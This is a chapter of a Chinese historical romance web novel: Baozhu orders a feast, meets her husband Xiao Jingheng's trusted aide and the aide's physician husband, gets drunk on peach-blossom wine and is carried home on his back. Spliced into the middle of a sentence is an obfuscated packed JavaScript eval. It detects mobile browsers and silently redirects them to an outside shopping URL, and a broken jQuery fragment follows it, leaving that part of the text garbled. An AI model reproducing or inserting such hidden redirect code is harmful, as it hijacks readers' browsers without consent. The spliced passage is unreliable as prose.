“掌柜的,来一间可以看到街景的雅间。”谢玄舟高喊。
掌柜连声应好,酒厮便带着宝珠一伙人朝楼上走去。窄小的楼梯上,宝珠和萧景珩手牵着手,俨然成了占地的“山霸王”。
叶凝珠并没意识到这点,她警觉地扫视着将目光落在她身上的人。只是怎么人人都看宝珠,宝珠都看不过来了。
好不容易到了房间,宝珠疲惫地喘了口气,保护别人好难。她放下紧握的手,连忙坐在木椅上。
手中那柔软触感骤然消失,唯余微温。萧景珩盯着懒散坐着的宝珠,蹙了蹙眉。
他瞥了眼一旁静站的谢玄舟等人,轻声道:“你们也去用饭吧,等下有事再叫你们。”
谢玄舟当即做了个揖,语气中带上些许雀跃,“是的,主公。”
萧景珩原地站了片刻,最后坐在宝珠对面。他微抬眼,低声问:“吃什么?”
宝珠旋即将腰挺得笔直,她细眉弯弯,眼若灿星,语气里都好似泛着股甜:“炙肉是必须要吃的。”
她掰着手指一道道地数:“肉呢?宝珠要吃嫩嫩的羊羔和鸡脯。一定要炙烤得焦焦的,上面还得涂一层薄薄的蜂蜜。”
“羹呢?宝珠要鱼肉和脆藕调至的,不能煮太久,得把握好口味。”
说着,叶凝珠舔了舔唇,咽下那口泛着馋意的口水。她还没说完:“小鱼煎得泛着金黄,洒上点点细盐。”
“胡饼里面塞上……”
萧景珩端详着这位叶三娘子,实在不知平时有些呆笨之人,提到吃食时为何这般“钻研”。
于萧景珩而言,食物不过饱腹而。
幼时在狼群中生长,吃的是带着血的生肉,喝的是带着淤泥的脏水。
咸与甜,苦与酸,他都觉得无甚差别。很多事对萧景珩来说,是无趣且浪费的。
他这般想着,目光却一直停在叶凝珠身上。
宝珠说话声不断,萦绕于他耳中。萧景珩不觉烦躁,反而觉得有些许难言滋味。
察觉到那股视线,叶凝珠抬眸看他,小声问:“一直都是宝珠说,却没问你?”
“萧景珩,那你要吃些什么呢?”
萧景珩回过神,收回自己的视线。他半垂着眼,嘴角漾出一抹浅笑,不紧不慢地提起桌上茶壶,水流倾泄,发出清泠声响。
“女君选的在下都喜欢。”
叶凝珠不解地看他,宝珠喜欢吃的他也都喜欢?
那……那这些菜够不够宝珠和他吃啊!宝珠生怕亏待了自己的肚子,再加了两道菜。
“点好了?”萧景珩温声问。
“嗯,点好了!”
宝珠笑眼看他,不知道哪来的这么多笑。这位叶家女娘总是千万般的笑,数也数不尽。
萧景珩扫了眼一旁站着的酒厮,“按照刚才娘子所说的去做吧。”
酒厮躬身应答,即刻离开屋内。一柱香后,所有菜便全部上齐了。宝珠盯着满桌子的菜,舔了舔唇,刚拿起筷子,手心处传来刺痛。
手心处的红肿依旧,宝珠眼睛睁大了些,随即拿起一旁的勺子,狡黠一笑。宝珠可以舀着吃!
桌上的两人,宝珠大快朵颐,将丰腴的脸肉塞得满满。萧景珩则只挑挑拣拣地吃了两三口,闲情雅致如同江上赏青。
叶凝珠吃得正欢快,紧闭的门被人一把推开。未见其人先闻其声,一道格外爽朗的女声传入她耳中。
“寨主,我刚才在楼下看到谢家老二,便知道您也来这醉月楼了。”
红衣女子高扎马尾,容色普通,但看上去十分舒快。她额头处有一道陈年旧疤,延至眼角,为她添了一丝肃穆。
她身侧依偎着一青衣男子,清雅端方,容色甚美。一人似烈日骄阳,一人似夜间明月。两者映衬,竟也格外和谐。
二人双手紧握,任谁也看得出他们的情谊。
青衣男子躬身行揖,温声细语:“主公女君,小人鲁莽到访失了礼数,还望原宥。”
红衣女子紧跟着做了个揖:“女君,我们还是第一次见吧。”
“我名池玉真,是寨主的亲信。身旁之人是我家郎婿庄闫之,萧家军的军医。”
叶凝珠连忙咽下口中那嚼了一半的肉,应答着:“我是宝珠,是叶氏之女,也是萧景珩的娘子。”
池玉真挑了挑眉,带着那道淤疤一齐动了动。她快步走到桌前,一把放下手中拿着的酒壶。
借着这个动作,池玉真半俯着身子,细瞧着那张美人面。宝珠歪头看她,认真发问:“玉真,你是不是饿了?要是你也饿了,便与宝珠一同用饭吧。”
她顿了顿,像是下定了什么决心一般,“也可以带上你郎婿一起。”
说着宝珠偷瞄了眼萧景珩,声音小了些:“宝珠再多点几道菜就好了。”
池玉真一愣,转头看向庄闫之。两人对视片刻,便已了然彼此心意。池玉真后退了一步,眉目微敛。
她柔声说着:“多谢女君美意,不过我是吃饱了才上来的。”
叶凝珠怔怔地点头,池玉真又看向一旁静默良久的萧景珩:“寨主,这壶酒就给您和女君了,这可是上好的桃花酿。”
“外面热闹,我和闫之还想去街上逛逛呢,先退下了。”
萧景珩未说一字,只微微颔首。池玉真冲宝珠笑了笑,便拉着自家夫婿走了,还不忘撂下句:“寨主,我吃饭没付钱,叫掌柜的记您账上了。”
池玉真两人快步走出酒楼,直到出了大门才缓缓停下,二人一同叹了口气。
“这苦活非推给我做,万一寨主对我发脾气,可没人愿替我求情。”
池玉真大声抱怨:“谢家那两个小子也是,问什么都在那假笑,不知道得了谁的真传。”
庄闫之摸了摸她额角处的疤,低语:“我替你求情,然后一齐去戒律司挨板子,等回去再给你上药。”
池玉真放声大笑,她一把搂住自家郎婿的腰,说着:“你这个弱身板,我可舍不得。”
她抬眼看向酒楼上那扇半掩的窗户,眼中笑意不褪,“不过现在军营里那些老家伙该放心了,我们这位女君真是个没心眼的。”
池玉真低声喃喃:“也不知道受不受得了寨主那个硬脾气。”
……
萧景珩眼神中泛上层寒意,手指在桌面上轻敲着,一下又一下。鼻尖那颗墨痣衬得他像是阴曹地府里爬上来索命的恶鬼,偏执阴暗。
池玉真是军营中人派来的探子,人人都想知晓他新娶的女君是何等心性。
之前叶凝珠从未出府,他们不得接近,如今不过第一次离府,他们便迎了上来。
不喜,萧景珩不喜他们的窥探。
萧景珩知道他们的忧虑,可这和他们并无关系。他萧景珩娶什么样的新妇都与旁人无关。
叶凝珠目不识丁与他人无关,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684911|207645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叶凝珠贪吃顽劣与他人无关,叶凝珠爱哭娇弱与他人无关。
萧景珩不喜叶凝珠,但叶凝珠是他的妻。
妻,多么暧昧缠绵的一个字。只是将两人的名字写在一起,萧景珩就不得不对这位叶三娘子多用上几分心思。
他眼神越发晦暗,余光朝宝珠扫去,却发现小女娘脸颊熏红了一片,微张着嘴,眼神迷茫无光。
她举着个小小瓷杯,又喝了一口,辣得她不停地吐舌头。宝珠哭了,泪眼盈盈地看着萧景珩,小声抱怨:
“萧景珩,这个桃花酿怎么这么怪啊。喝得宝珠…宝珠…晕晕的。”
宝珠用手杵着下巴,可脑袋还是摇摇晃晃。她眼中的场景变了又变,所有的事物都有了重影。朦胧中,宝珠还看到两个一模一样的萧景珩。
萧景珩一把夺过她手中的瓷杯,不过一刻没看着她,她便醉成这样。
萧景珩带着些许怒气地呵斥着:“呆子。”
叶凝珠醉得太过,虽只浅浅尝了两口,但这两口便也让这位小女娘吃了大苦头。
不然若是清醒时候的宝珠听到这句呆子,必定是要反驳回去的。而现在,她只趴在桌子上,迷蒙地看着萧景珩。
萧景珩无奈地抚眉,随即拎了拎宝珠的袖子,冷声道:“起来回府。”
宝珠不回,还把头偏了个方向不看他。
萧景珩声音冰冷,重复着:“叶凝珠,起来回府。”
宝珠不回,用手挠了挠脸侧微痒处。
萧景珩深吸口气,极力掩盖心中怒火,语调柔了些:“女君,回府吧。”
“回去让李夫人给你熬醒酒汤,喝了就不难受了。”
叶凝珠哼了一声,嘟囔着:“萧景珩,你要唤我宝珠的。”
萧景珩阖上眼,双手紧攥,缓缓开口:“宝珠,我们回府吧。”
宝珠这才起身,她仰头冲萧景珩一笑,对他伸了伸手,说话声音带上了个小勾般,缠人得紧。
“萧景珩,背宝珠吧。你背宝珠,宝珠就跟你走。”
……
谢玄舟本和黑甲兵们吃得正欢,抬眼一看,发现主公背着女君从楼上走下来。
他连忙揉了揉眼,可别是吃撑了白日梦魇了。眼睛眨了七八遍,主公反而离他越来越近。
谢玄舟心一紧,瞬间冲到萧景珩面前,刚想说话就被萧景珩冷睨了眼,吓得他立马垂下头。
萧景珩声音毫无起伏,像是一潭寒冰:“池玉真忽而觐见,你监管不力,去戒律司领十个板子。”
谢玄舟额头渗出冷汗,连忙躬身做揖:“是的,主公。”
见萧景珩不再说话,他小声提议:“那小人先去骑马送主公和女君归府,再去戒律司领罚?”
安睡在萧景珩肩头的宝珠听了十分不喜。她在他颈侧蹭了蹭,用那带着滚烫温度的脸颊肉紧贴着萧景珩冰冷肌肤。
“背宝珠回去,萧景珩你要背宝珠回去的。”
“从这回萧府要走一柱香,要不还是……”谢玄舟低声问。
萧景珩将背上之人抱紧了些:“我背女君回去,你直接去戒律司领罚吧。”
“不用叫人随仕,自行回府即可。”
萧景珩背着宝珠走了,站在酒楼中的谢玄舟看着主公的背影,止不住地叹气。
在黑甲兵的注视下,他以一种壮士一去兮不复还的气魄,高声道:“我吃完再去领罚。”